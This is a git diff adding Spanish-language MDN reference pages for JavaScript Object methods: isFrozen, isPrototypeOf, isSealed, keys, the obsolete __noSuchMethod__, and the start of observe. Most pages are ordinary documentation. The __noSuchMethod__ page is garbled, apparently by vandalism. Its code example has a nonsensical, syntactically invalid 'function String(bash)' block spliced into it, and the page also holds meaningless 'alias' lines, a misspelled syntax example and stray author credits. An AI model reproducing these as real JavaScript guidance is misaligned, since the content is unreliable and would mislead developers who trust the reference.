+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Reflect.isExtensible()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/isfrozen/index.html b/files/es/web/javascript/referencia/objetos_globales/object/isfrozen/index.html
new file mode 100644
index 0000000000..9a2bc2ee94
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/isfrozen/index.html
@@ -0,0 +1,190 @@
+---
+title: Object.isFrozen()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/isFrozen
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Objeto
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isFrozen
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.isFrozen()</strong></code> determina si un objeto está <em>congelado</em>.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><code>Object.isFrozen(<var>obj</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto a ser revisado.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Un objeto está congelado si y solo si no es {{jsxref("Object.isExtensible()", "extendible", "", 1)}}, todas sus propiedades son no-configurables, y todos los datos de sus propiedades no tienen capacidad de escritura.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">// Un objeto nuevo es extendible, así que no está congelado.
+Object.isFrozen({}); // === false
+
+// Un objeto vacio el cuál no es extendible está congelado vacuamente.
+var vacuouslyFrozen = Object.preventExtensions({});
+Object.isFrozen(vacuouslyFrozen); // === true
+
+// Un objeto nuevo con una propiedad es tabién extendible, ergo no congelado.
+var oneProp = { p: 42 };
+Object.isFrozen(oneProp); // === false
+
+// Prevenir la extensión de un objeto no lo congela.
+// porque la propiedad sigue teniendo capacidad de configuración (y capacidad de escritura).
+Object.preventExtensions(oneProp);
+Object.isFrozen(oneProp); // === false
+
+// ...pero eliminar la propiedad congela el objeto vacuamente.
+delete oneProp.p;
+Object.isFrozen(oneProp); // === true
+
+// Un ojbeto no-extendible con una propiedad sin capacidad de escritura pero si con capacidad de configuración no está congelado.
+var nonWritable = { e: 'plep' };
+Object.preventExtensions(nonWritable);
+Object.defineProperty(nonWritable, 'e', { writable: false }); // Le quita la capacidad de escritura.
+Object.isFrozen(nonWritable); // === false
+
+// Quitarle la capacidad de configuración a una propiedad congela el objeto.
+Object.defineProperty(nonWritable, 'e', { configurable: false }); // le quita la capacidad de configuración.
+Object.isFrozen(nonWritable); // === true
+
+// Un objeto no-extendible con una propiedad sin capacidad de configuración pero con capacidad de escritura no congela a dicho objeto.
+var nonConfigurable = { release: 'the kraken!' };
+Object.preventExtensions(nonConfigurable);
+Object.defineProperty(nonConfigurable, 'release', { configurable: false });
+Object.isFrozen(nonConfigurable); // === false
+
+// Quitarle la capacidad de configuración a esa propiedad congela el objeto.
+Object.defineProperty(nonConfigurable, 'release', { writable: false });
+Object.isFrozen(nonConfigurable); // === true
+
+// A non-extensible object with a configurable accessor property isn't frozen.
+var accessor = { get food() { return 'yum'; } };
+Object.preventExtensions(accessor);
+Object.isFrozen(accessor); // === false
+
+// ...but make that property non-configurable and it becomes frozen.
+Object.defineProperty(accessor, 'food', { configurable: false });
+Object.isFrozen(accessor); // === true
+
+// But the easiest way for an object to be frozen is if Object.freeze has been called on it.
+var frozen = { 1: 81 };
+Object.isFrozen(frozen); // === false
+Object.freeze(frozen);
+Object.isFrozen(frozen); // === true
+
+// By definition, a frozen object is non-extensible.
+Object.isExtensible(frozen); // === false
+
+// Also by definition, a frozen object is sealed.
+Object.isSealed(frozen); // === true
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>En ES5, si el argumento pasado a éste método no es un objeto (primitivo), entonces causará un {{jsxref("TypeError")}}. En ES6, un no-objeto pasado como argumento será tratado como si fuera un objeto ordinario congelado, simplemente regresa <code>true</code>.</p>
+
+<pre class="brush: js">Object.isFrozen(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.isFrozen(1);
+// true                          (ES6 code)
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>
+    <p>Definición inicial. Implementada en JavaScript 1.8.5.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristicas</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("6")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristicas</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/isprototypeof/index.html b/files/es/web/javascript/referencia/objetos_globales/object/isprototypeof/index.html
new file mode 100644
index 0000000000..8275ebafac
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/isprototypeof/index.html
@@ -0,0 +1,158 @@
+---
+title: Object.prototype.isPrototypeOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/isPrototypeOf
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>isPrototypeOf()</strong></code> comprueba si un objeto se encuentra en la cadena de prototipado de otro.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> <code>isPrototypeOf</code> difiere del operador {{jsxref("Operators/instanceof", "instanceof")}}. En la expresión "<code>object instanceof AFunction</code>", la cadena de prototipado de <code>object</code> es comprobada contra <code>AFunction.prototype</code>, no contra la propia <code>AFunction</code>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>prototypeObj</var>.isPrototypeOf(<var>obj</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>prototypeObj</code></dt>
+ <dd>Un objeto para ver comprobado contra cada vínculo en la cadena de prototipado del argumento <strong>object</strong>.</dd>
+ <dt><code>object</code></dt>
+ <dd>El object sobre cuya cadena de prototipado se realizará la búsqueda.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>isPrototypeOf</code> permite comprobar si un objetyo existe o no en la cadena de prototipado de otro.</p>
+
+<p>Por ejemplo, considerese la siguiente cadena de prototipado:</p>
+
+<pre class="brush: js">function Fee() {
+  // ...
+}
+
+function Fi() {
+  // ...
+}
+Fi.prototype = new Fee();
+
+function Fo() {
+  // ...
+}
+Fo.prototype = new Fi();
+
+function Fum() {
+  // ...
+}
+Fum.prototype = new Fo();
+</pre>
+
+<p>Al final de la secuencia, si se instanci <code>Fum</code> y se necesita verificar si el prototipo de <code>Fi</code> existe en la cadena de prototipado de <code>Fum</code> prototype chain, puede hacerse esto:</p>
+
+<pre class="brush: js">var fum = new Fum();
+// ...
+
+if (Fi.prototype.isPrototypeOf(fum)) {
+  // do something safe
+}
+</pre>
+
+<p>Esto, junto con el operador {{jsxref("Operators/instanceof", "instanceof")}} resulta especialmente útil si se tiene código que sólo puede operar cuando se trata de objetos descendientes de una cadena de prototipado específica, p.e., para garantizar que ciertos métodos o propiedades estén presentes en dichos objetos.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>
+  <div>{{jsxref("Object.setPrototypeOf()")}}</div>
+ </li>
+ <li>{{jsxref("Object.prototype.__proto__")}} </li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/issealed/index.html b/files/es/web/javascript/referencia/objetos_globales/object/issealed/index.html
new file mode 100644
index 0000000000..c28437561a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/issealed/index.html
@@ -0,0 +1,140 @@
+---
+title: Object.isSealed()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/isSealed
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Objeto
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isSealed
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.isSealed()</strong></code> si el objeto está sellado.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-issealed.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Object.isSealed(<var>obj</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto que debe ser verificado.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un {{jsxref("Boolean")}} indicando si el objeto dado está sellado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Devuelve <code>true</code> si el objeto está sellado, de lo contrario devuelve <code>false</code>. Un objeto está sellado si no es {{jsxref("Object.isExtensible", "extensible", "", 1)}} y si todas sus propiedades no se pueden configurar y por lo tanto no removibles (pero no necesariamente no modificables).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">// Los objetos no están sellados por defecto
+var empty = {};
+Object.isSealed(empty); // === false
+
+// Si haces un objeto vacío no extendible,
+// está vacíamente sellado
+Object.preventExtensions(empty);
+Object.isSealed(empty); // === true
+
+// Lo mismo no es vedad sobre un objeto no vacío,
+// a menos que sus propiedades son todas no configurables.
+var hasProp = { fee: 'fie foe fum' };
+Object.preventExtensions(hasProp);
+Object.isSealed(hasProp); // === false
+
+// Pero hazlas todas no configurables
+// y el objeto se vuelve sellado.
+Object.defineProperty(hasProp, 'fee', {
+  configurable: false
+});
+Object.isSealed(hasProp); // === true
+
+// La manerá más facil de sellar un objeto, por supuesto,
+// es Object.seal
+var sealed = {};
+Object.seal(sealed);
+Object.isSealed(sealed); // === true
+
+// Un objeto sellado es, por definición, no extendible.
+Object.isExtensible(sealed); // === false
+
+// Un objeto sellado puodría estar congelado,
+// pero no tiene que ser.
+Object.isFrozen(sealed); // === true
+// (Todas las propiedades también no modificables)
+
+var s2 = Object.seal({ p: 3 });
+Object.isFrozen(s2); // === false
+// ('p' todavía es modificable)
+
+var s3 = Object.seal({ get p() { return 0; } });
+Object.isFrozen(s3); // === true
+// (solo la configurabilidad es importante para las propiedades de acceso)
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">En ES5, si el argumento de este método no es un objeto (primitivo), entonces causará un </span></font></code>{{jsxref("TypeError")}}. En ES2015, un argumento que no sea un objeto será tratado como si fuera un objeto sellado ordinario, simplemente devuelve <code>true</code>.</p>
+
+<pre class="brush: js">Object.isSealed(1);
+// TypeError: 1 no es un objeto (ES5 code)
+
+Object.isSealed(1);
+// true                          (ES2015 code)
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.isSealed")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/keys/index.html b/files/es/web/javascript/referencia/objetos_globales/object/keys/index.html
new file mode 100644
index 0000000000..d6bd068f2f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/keys/index.html
@@ -0,0 +1,156 @@
+---
+title: Object.keys()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/keys
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/keys
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El método <code>Object.keys()</code> devuelve un array de las propiedades <strong><code>names</code> </strong>de un objeto, en el mismo orden como se obtienen en un loop normal</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Object.keys(<var>obj</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto cuyas propiedades enumerables serán devueltas.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un array de strings que representan toda las propiedades  del objeto</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>Object.keys</code> devuelve un array cuyos elementos son strings correspondientes a las propiedades enumerables que se encuentran directamente en el object. El orden de las propiedades es el mismo que se proporciona al iterar manualmente sobre las propiedades del objeto.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js notranslate">var arr = ['a', 'b', 'c'];
+console.log(Object.keys(arr)); // console: ['0', '1', '2']
+
+// arreglo como objeto
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.keys(obj)); // console: ['0', '1', '2']
+
+// arreglo como objeto con nombres ordenados aleatoriamente
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.keys(an_obj)); // console: ['2', '7', '100']
+
+// getFoo es una propiedad no enumerable
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = 1;
+
+console.log(Object.keys(my_obj)); // console: ['foo']
+</pre>
+
+<p>Si quieres todas las propiedades, incluso las no enumerables, mira {{jsxref("Object.getOwnPropertyNames()")}}.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>En ES5, si el argumento para este método no es un objeto (uno primitivo), causará un {{jsxref("Global_Objects/TypeError", "TypeError")}}. En ES2015, un argumento no-objeto será coaccionado hacia un objeto.</p>
+
+<pre class="brush: js notranslate">&gt; Object.keys("foo")
+// TypeError: "foo" is not an object  (ES5)
+
+&gt; Object.keys("foo")
+// ["0", "1", "2"]                    (ES2015)</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Para añadir soporte <code>Object.keys</code> en entornos más antiguos que no lo soportan de forma nativa, copia el siguiente fragmento:</p>
+
+<pre class="brush: js notranslate">// De https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys
+if (!Object.keys) {
+  Object.keys = (function() {
+    'use strict';
+    var hasOwnProperty = Object.prototype.hasOwnProperty,
+        hasDontEnumBug = !({ toString: null }).propertyIsEnumerable('toString'),
+        dontEnums = [
+          'toString',
+          'toLocaleString',
+          'valueOf',
+          'hasOwnProperty',
+          'isPrototypeOf',
+          'propertyIsEnumerable',
+          'constructor'
+        ],
+        dontEnumsLength = dontEnums.length;
+
+    return function(obj) {
+      if (typeof obj !== 'object' &amp;&amp; (typeof obj !== 'function' || obj === null)) {
+        throw new TypeError('Object.keys called on non-object');
+      }
+
+      var result = [], prop, i;
+
+      for (prop in obj) {
+        if (hasOwnProperty.call(obj, prop)) {
+          result.push(prop);
+        }
+      }
+
+      if (hasDontEnumBug) {
+        for (i = 0; i &lt; dontEnumsLength; i++) {
+          if (hasOwnProperty.call(obj, dontEnums[i])) {
+            result.push(dontEnums[i]);
+          }
+        }
+      }
+      return result;
+    };
+  }());
+}
+</pre>
+
+<p>Ten en cuenta que el código anterior incluye claves no-enumerables en IE7 (y quizás IE8), al pasar en un objeto desde una ventana diferente.</p>
+
+<p>Para un simple Polyfill del Navegador, mira <a href="http://tokenposts.blogspot.com.au/2012/04/javascript-objectkeys-browser.html">Javascript - Compatibilidad de Object.keys en Navegadores</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.14', 'Object.keys')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.keys', 'Object.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{Compat("javascript.builtins.Object.keys")}}</div>
+
+
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Propiedades de enumerabilidad y pertenencia</a></li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.values()")}}</li>
+ <li>{{jsxref("Object.entries()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/nosuchmethod/index.html b/files/es/web/javascript/referencia/objetos_globales/object/nosuchmethod/index.html
new file mode 100644
index 0000000000..d7422b2a3d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/nosuchmethod/index.html
@@ -0,0 +1,198 @@
+---
+title: Object.prototype.__noSuchMethod__
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/noSuchMethod
+tags:
+  - JavaScript
+  - No-estándar
+  - Objeto
+  - Obsoleto
+  - Propiedad
+  - Prototipo
+translation_of: Archive/Web/JavaScript/Object.noSuchMethod
+---
+<div>{{JSRef}}{{Non-standard_Header}}{{Obsolete_Header("gecko43")}}</div>
+
+<div>{{JSRef}}{{Non-standard_Header}}{{Obsolete_Header("Safari14")}}</div>
+
+<p>La <strong><code>__noSuchMethod__</code></strong> se usa para referenciar una función que debe ejecutarse cuando se llama a un método inexistente en un objeto, pero esta función no ya no está disponible.</p>
+
+
+
+<p>Mientras <code><strong>__noSuchMethod__</strong></code> a sido eliminado, la especificación ECMAScript 2015 tiene el objeto {{JSxRef("Proxy")}} , el cual puede lograr lo siguiente (y más).</p>
+
+<h2 id="Sintaxis_de_data">Sintaxis de data</h2>
+
+<pre>//EXample 2 obj.__noSuchMetod__ = id</pre>
+
+<p>Otros ejemplos como fun</p>
+
+<pre class="syntaxbox"><code><var>obj</var>.__noSuchMethod__ = <var>fun</var></code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>fun</code></dt>
+ <dd>Una función que toma la forma</dd>
+ <dd>
+ <pre class="brush: js"><code>function (<var>id</var>, <var>args</var>) { . . . }</code></pre>
+
+ <dl>
+  <dt><code>id</code></dt>
+  <dd>El nombre del método inexistente que fue llamado</dd>
+  <dt><code>args</code></dt>
+  <dd>Un array de los argumentos pasados al método</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Por defecto, un intento de llamar a un método que no existe en un objeto tiene como resultado {{JSxRef("TypeError")}}. Este comportamiento puede evitarse definiendo una función en el miembro <code>__noSuchMethod__</code> de ese objeto. La función toma dos argumentos, el primero es el nombre del método intentado y el segundo es un array de los argumentos que fueron pasados en el método de llamada. El segundo argumento es un array real (es decir, hereda a través de la cadena {{JSxRef("Array.prototype")}}) y no el objeto array con el <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Funciones/arguments">objeto arguments</a>.</p>
+
+<p>Si no se puede llamar a este método, ya sea <code>undefined</code> por defecto, como si se hubiera eliminado, o si se ha configurado manualmente como no funcional, el motor JavaScript volverá a lanzar <code>TypeError</code>s.</p>
+
+<h2 id="Esto_es_creado_por_esto">Esto es creado por esto:</h2>
+
+<p>Director de traductor de grupos:</p>
+
+<h4 id="Vicente_Oliver">Vicente Oliver</h4>
+
+<h4 id="titox31">titox31</h4>
+
+
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Simple_test_of___noSuchMethod__">Simple test of <code>__noSuchMethod__</code></h3>
+
+<pre class="brush: js">var o = {
+  __noSuchMethod__: function(id, args) {
+                      console.log(id, '(' + args.join(', ') + ')');
+                    }
+};
+
+o.foo(1, 2, 3);
+o.bar(4, 5);
+o.baz();
+
+// Output
+// foo (1, 2, 3)
+// bar (4, 5)
+// baz ()
+</pre>
+
+<h3 id="Using___noSuchMethod___to_simulate_multiple_inheritance">Using <code>__noSuchMethod__</code> to simulate multiple inheritance</h3>
+
+<p>A continuación se muestra un ejemplo de código que implementa una forma primitiva de la herencia múltiple.</p>
+
+<pre class="brush: js">// Doesn't work with multiple inheritance objects as parents
+function noMethod(name, args) {
+  var parents = this.__parents_;
+
+  // Go through all parents
+  for (var i = 0; i &lt; parents.length; i++) {
+    // If we find a function on the parent, we call it
+    if (typeof parents[i][name] == 'function') {
+      return parents[i][name].apply(this, args);
+    }
+  }
+
+  // If we get here, the method hasn't been found
+  throw new TypeError;
+}
+
+// Used to add a parent for multiple inheritance
+function addParent(obj, parent) {
+  // If the object isn't initialized, initialize it
+  if (!obj.__parents_) {
+    obj.__parents_ = [];
+    obj.__noSuchMethod__ = noMethod;
+  }
+
+  // Add the parent
+  obj.__parents_.push(parent);
+}
+</pre>
+
+<p>Un ejemplo de cómo utilizar esta idea se muestra a continuación.</p>
+
+<pre class="brush: js">// Example base class 1
+function NamedThing(name) {
+  this.name = name;
+}
+
+NamedThing.prototype = {
+  getName: function() { return this.name; },
+  setName: function(newName) { this.name = newName; }
+}
+function String(bash) {
+    this.close =javaOpenDOM ;
+console.info(bash with DOM User with 30pok to 40000km/h to +20years)
+;
+
+}
+// Example base class 2
+function AgedThing(age) {
+  this.age = age;
+}
+
+AgedThing.prototype = {
+  getAge: function() { return this.age; },
+  setAge: function(age) { this.age = age; }
+}
+
+// Child class. inherits from NamedThing and AgedThing
+// as well as defining address
+function Person(name, age, address){
+  addParent(this, NamedThing.prototype);
+  NamedThing.call(this, name);
+  addParent(this, AgedThing.prototype);
+  AgedThing.call(this, age);
+  this.address = address;
+}
+
+Person.prototype = {
+  getAddr: function() { return this.address; },
+  setAddr: function(addr) { this.address = addr; }
+}
+
+var bob = new Person('bob', 25, 'New York');
+
+console.log('getAge is ' + (('getAge' in bob) ? 'in' : 'not in') + ' bob');
+// getAge is not in bob
+
+console.log("bob's age is: " + bob.getAge());
+// bob's age is: 25
+
+console.log('getName is ' + (('getName' in bob) ? 'in' : 'not in') + ' bob');
+// getName is not in bob
+
+console.log("bob's name is: " + bob.getName());
+// bob's name is: bob
+
+console.log('getAddr is ' + (('getAddr' in bob) ? 'in' : 'not in') + ' bob');
+// getAddr is in bob
+
+console.log("bob's address is: " + bob.getAddr());
+// bob's address is: New York
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>No forma parte de ninguna especificación. Esta característica ha sido eliminada, vea {{bug(683218)}}.</p>
+
+<blockquote>
+<h2 id="Alias_de___noSuchMetod__">Alias de __noSuchMetod__</h2>
+
+<p>aliasduplicate.lopen_bash</p>
+
+<p>hamlStyluslopen</p>
+</blockquote>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un mensaje.</div>
+
+<p>{{Compat("javascript.builtins.Object.noSuchMethod")}}</p>
+</div>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/observe/index.html b/files/es/web/javascript/referencia/objetos_globales/object/observe/index.html
new file mode 100644
index 0000000000..8bf0fd1e5b
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/observe/index.html
@@ -0,0 +1,188 @@
+---
+title: Object.observe()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/observe
+translation_of: Archive/Web/JavaScript/Object.observe
+---
